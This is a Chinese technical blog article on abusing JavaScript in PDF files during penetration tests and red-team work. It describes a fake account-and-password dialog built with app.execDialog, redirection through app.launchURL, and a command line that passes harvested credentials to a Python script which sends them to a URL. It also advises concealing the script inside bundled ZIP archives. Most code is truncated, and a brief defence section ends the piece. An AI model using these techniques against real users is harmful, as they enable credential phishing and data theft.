PDF中的JavaScript的利用姿势.md
本文主要研究PDF在攻防实战中的多种利用姿势,主要分为三部分(原理,API函数,方法)。
原创首发,转载请标明来源。
原理
PDF中的JavaScript规范(Acrobat JavaScript)是Adobe在其PDF阅读器(Adobe Acrobat和Adobe Reader)中实现的一种功能,它允许开发者和用户使用JavaScript来控制PDF文档的行为,用来实现不同的高阶效果,处理和显示复杂的数据。
以下是我们常见的一些PDF中在JavaScript下可以实现的功能:
表单验证:可以使用JavaScript来验证用户输入的信息是否符合预期。例如,检查输入字段是否为空,或者输入的电子邮件地址是否有效。
自动填充表单:JavaScript可以用来自动填充表单字段。例如,当用户在一个字段中输入信息时,可以自动填充其他相关字段。
计算和更新表单字段:JavaScript可以用来自动计算和更新表单字段。例如,在一个购物清单的PDF中,当用户更改购买的商品数量时,可以自动更新总价格。
导航和动作:JavaScript可以用来创建导航按钮,或者在用户打开、关闭、保存或打印PDF时执行特定的动作。
文档安全:JavaScript也可以用于增强PDF文档的安全性。例如,可以使用JavaScript来加密PDF,或者在用户打开PDF时要求输入密码。
API函数
在PDF中,有许多JavaScript API来实现各种功能,如:
| API函数名 | 作用 |
|---|---|
| getField(name) | 返回具有指定名称的字段对象,可获取和修改表单字段的值。 |
| submitForm() | 提交表单数据到指定的URL。 |
| print() | 打印当前文档。 |
| saveAs() | 保存当前文档到指定的文件。 |
| mailDoc() | 将当前文档作为电子邮件附件发送。 |
| gotoNamedDest() | 跳转到文档中的指定命名目的地。 |
| importDataObject() | 从文件导入数据对象。 |
| exportDataObject() | 导出数据对象到文件。 |
| addWatermarkFromFile() | 从文件添加水印。 |
| addWatermarkFromText() | 从文本添加水印。 |
| insertPages() | 插入页面。 |
| deletePages() | 删除页面。 |
| extractPages() | 提取页面。 |
| movePage() | 移动页面。 |
在PDF中,JavaScript可以在不同的级别上运行,这主要取决于它们的作用范围和执行时机。如下:
文件夹级脚本(Folder-levelscripts):这些脚本存储在特定的文件夹中,当PDF阅读器启动时,它们就会被加载和执行。文件夹级脚本通常用于定义全局函数和变量,这些函数和变量可以在其他级别的脚本中使用。文件夹级脚本的作用范围是整个PDF阅读器,而不仅仅是一个特定的文档。
文档级脚本(Document-levelscripts):这些脚本嵌入在特定的PDF文档中,当这个文档被打开时,它们就会被加载和执行。文档级脚本通常用于初始化文档,例如设置初始的表单字段值,或者添加文档打开时的动作。
页面级脚本(Page-levelscripts):这些脚本关联到特定的页面,只有当这个页面被显示时,它们才会被执行。页面级脚本通常用于处理页面相关的事件,例如页面显示或隐藏的事件。
域级脚本(Field-levelscripts):这些脚本关联到特定的表单字段,只有当这个字段被操作时,它们才会被执行。域级脚本通常用于处理字段相关的事件,例如字段值改变的事件。
批处理级脚本(Batch-levelscripts):这些脚本用于处理一批PDF文档,例如进行批量的文档转换或处理。批处理级脚本通常需要在PDF阅读器的控制台中执行,并且需要具有相应的权限。
所有这些脚本都是事件驱动的,也就是说,它们会在特定的事件发生时被触发和执行。这些事件可以包括文档打开或关闭,页面显示或隐藏,字段值改变,按钮点击,等等。
在PDF中使用JavaScript可以实现很多功能,但是也可能带来一些问题,尤其是当这些功能被恶意使用时。
我们在平时的渗透测试,攻防实战中也可以使用这些开放的API函数去制作恶意的PDF文件,来执行或获取相关信息。
利用方法
根据PDF提供的JavaScript API函数调用规范,总结出以下几个可用攻防人员利用的
app.launchURL()
app.launchURL()函数可以打开一个指定的URL。如果被恶意使用,可能会导向用户到恶意网站,或者下载并执行恶意代码。用户可能在不知情的情况下被引导到钓鱼网站,或者下载和安装恶意软件。
- 调用方法:
app.launchURL("http://www.baidu.com", true);
这行代码将在用户的默认浏览器中打开 baidu.com 这个URL。函数的第二个参数是一个布尔值,用来指定是否在一个新的浏览器窗口或标签页中打开这个URL。如果这个参数是true,那么URL将在一个新的窗口或标签页中打开;如果这个参数是false或者被省略,那么URL将在当前的窗口或标签页中打开。
app.media.getURLdata()
app.media.getURLdata()函数可以从指定的URL获取媒体文件。如果被恶意使用,可能会下载恶意内容,该函数在渗透测试场景下产生危害较小,只做了解和防护。
- 调用方法:
app.media.getURLdata()
该函数包含两个参数,cURL(用于指定文件的路径)和cMimeType(可选,用于指定文件MIME类型)。当打开包含该函数的pdf文件时,首先会弹出窗口提醒用户建立远程链接,随后根据版本和应用不同可能会有安全提示,随后需要用户手动选择信任,最终使用系统默认的播放器播放URL指定的文件。
app.alert()
app.alert()函数可以显示一个警告框。这个函数应该是我们渗透测试人员最常用的一个XSS弹框函数。这个函数可以接收一到三个参数,具体如下:
- 调用方法1:
app.alert("XSS"); - 调用方法2:
app.alert("XSS",1,1);
1 | cMsg:这是一个必需的参数,它是要在警告对话框中显示的消息文本。 |
app.execDialog()
app.execDialog()函数可以显示一个对话框。如果被恶意使用,可能会显示误导用户的信息,或者在不经用户同意的情况下获取敏感信息。
该函数接收一个参数,即一个定义了对话框行为和属性的对象。这个对象可以包含多个属性,包括但不限于:
initialize:一个函数,在对话框初始化时被调用。
commit:一个函数,在对话框关闭时被调用。
validate:一个函数,用于验证对话框中的输入。
description:一个对象,定义了对话框的外观和行为。
接下来根据函数规则,写一个让用户输入账号密码的弹框,代码参考如下:
1 | var dialog = { |
如果再伪造的真实一点,一些信息安全意识薄弱的人就会乖乖填写自己的真实信息。这在渗透测试中,已经属于高危漏洞了,但是在攻防实战下,我们应该怎么去远程拿到用户输入的信息呢?
AdobeAcrobatJavaScriptAPI的功能较为有限,它并不支持直接进行网络请求,更不支持使用Git方式发送数据,ExtendScript同时也不支持原生的fetchAPI,不支持直接的HTTP请求。
这时候我们只能使用其他方法来发送HTTP请求,比如通过使用ExtendScript的外部命令功能来调用一个能够发送HTTP请求的外部脚本。如Python。
代码参考如下:
1 | var dialog = { |
注意看代码中的脚本调用部分:
1 | command = 'python python_name_path.py "' + url + '" "' + JSON.stringify(data) + '"'; |
如果目标电脑没有安装python环境,我们可以将python打包成exe文件,使用隐藏文件方法,或者使用ZIP压缩包捆绑的方法,在目标解压压缩包时将脚本解压到特定目录下即可。
更多操作姿势还需要根据自身需求来解锁。需要注意的是,app.execDialog()的使用可能因Acrobat版本和用户权限的不同而有所不同。在某些情况下,可能需要更高级的权限才能使用此函数。
doc.getURL
doc.getURL此函数可以获取文档的URL。如果被恶意使用,可能会泄露敏感信息。主要用于获取当前PDF文档的URL。这个函数在PDF文档被从网络位置(如网站或网络共享)打开时特别有用,因为它可以告诉你这个文档的网络位置。
这个函数不需要任何参数,返回的是一个字符串,表示PDF文档的URL。如果PDF文档是从本地文件系统打开的,那么这个函数可能返回空字符串或文件的本地路径。
- 调用代码1:
var url = this.getURL();
this是当前的doc对象,调用getURL()方法获取当前文档的URL,然后将URL打印到控制台。
- 调用代码2:带了判断
1 | if (app.documents.length() > 0) { |
需要注意的是,doc.getURL() 只能获取到 PDF 文档的 URL,它不能获取到其他的网络资源的 URL,例如嵌入的图片或链接的目标 URL。此外,此函数的可用性可能会受到 Acrobat 的版本和用户权限的影响。
安全防护
PDF本地阅读器通常会提供一些安全设置,例如禁用JavaScript,或者只允许来自信任来源的JavaScript代码执行。此外,用户也应该注意不要随便打开来自不可信来源的PDF文档,以防止恶意代码的执行。
网站防护:禁止PDF在线打开(临时解决)或者使用SCP内容安全检查策略。